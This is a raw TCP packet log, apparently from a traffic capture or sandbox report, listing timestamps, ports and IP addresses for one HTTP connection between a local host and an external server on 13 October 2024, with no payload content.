Oct 13, 2024 06:54:14.727885008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727909088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727915049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727915049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727925062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727941036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727957010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727969885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727984905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728072882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728072882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728072882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728072882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728712082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728770018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728785992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728801012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728847027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728861094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728884935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728898048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728913069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728935957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728950977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728965998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728971958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728972912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728972912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728972912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728972912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728972912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.728980064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.728998899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.729016066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.729029894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.729043007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.729264021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.729264021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.729264021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.729264021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.729455948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.729496956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.729520082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.729535103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.729568958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.729568958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.729568958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.729588985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.844326019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.844357967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.844469070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.844469070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.972752094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.972773075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.972786903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.972877979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.972971916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.096992970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.097040892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.097074032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.097107887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.097111940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.097141027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.097279072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.186665058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.186696053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.186754942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.186794043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221404076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221455097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221504927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221509933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221560001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221592903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221620083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221620083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221621037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221623898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221657991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221666098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221692085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221724033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221724987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221736908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221755981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221756935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221788883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221818924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221827030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221827030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221865892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221865892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221867085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221899986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.221992016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.221992016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360188007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360218048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360266924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360300064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360346079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360363960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360363960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360379934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360411882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360445976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360471010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360471964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360492945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360505104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360516071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360538960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360548019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360570908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.360622883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360624075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.360652924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.361573935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.361607075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.361634970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.361639023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.361685991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.361685991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.361996889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.362059116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.362083912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.362113953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.362143993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.362185001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.362185001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.362199068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363116026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363194942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363203049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363234043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363282919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363291979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363291979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363315105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363341093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363363981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363365889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363430023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363431931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363470078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363518000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363545895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363548994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363548994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363581896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363594055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363631964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363679886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363728046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363728046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363729000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363728046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363728046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363779068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363801003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363814116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363837004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363847017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363873959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363879919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363909006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.363917112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363950014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.363981962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364013910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364043951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364078045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364095926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364095926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364095926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364095926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364095926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364095926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364110947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364145041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364171028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364192963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364192963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364192963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364202976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364237070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364269018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364300966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364316940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364316940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364316940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364316940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364331961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364361048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364365101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364381075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364398956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364430904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364433050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364449978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364464998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364497900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364528894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364536047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364536047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364557981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364563942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364593029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.364674091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364674091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.364674091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533061981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533096075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533128977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533164978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533193111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533212900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533212900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533226013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533274889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533313036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533353090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533381939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533410072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533431053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533463955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533512115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533523083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533523083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533523083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533544064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533591986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533622980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533622980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533642054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533672094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533696890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533716917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533723116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533736944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533771992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533807039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533838034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533839941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533839941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533870935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533870935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533904076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533936024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.533965111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533965111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533965111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.533967018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.534002066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.534008026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.534025908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.534053087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.534059048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.534115076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.534122944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.534147978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.534178019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.534182072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.534235954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.534235954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.534900904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.534951925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.534980059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535003901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535032988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535037994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535072088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535100937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535149097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535155058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535155058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535155058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535155058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535198927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535233021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535264969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535296917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535296917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535296917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535312891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535332918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535363913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535388947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535417080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535434961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535484076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535531998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535543919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535543919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535562992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535594940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535599947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535645962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535657883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535657883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535702944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535712957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535749912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535763025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535804033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535835028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535866976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535870075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535870075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535896063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535898924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535929918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535944939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535947084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.535995007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.535996914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536046028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536063910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536082029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536112070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536113977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536149025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536180973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536183119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536183119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536204100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536215067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536240101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536248922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536273956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536281109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536313057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536322117 CEST	49730	80	192.168.2.4	185.215.113.37
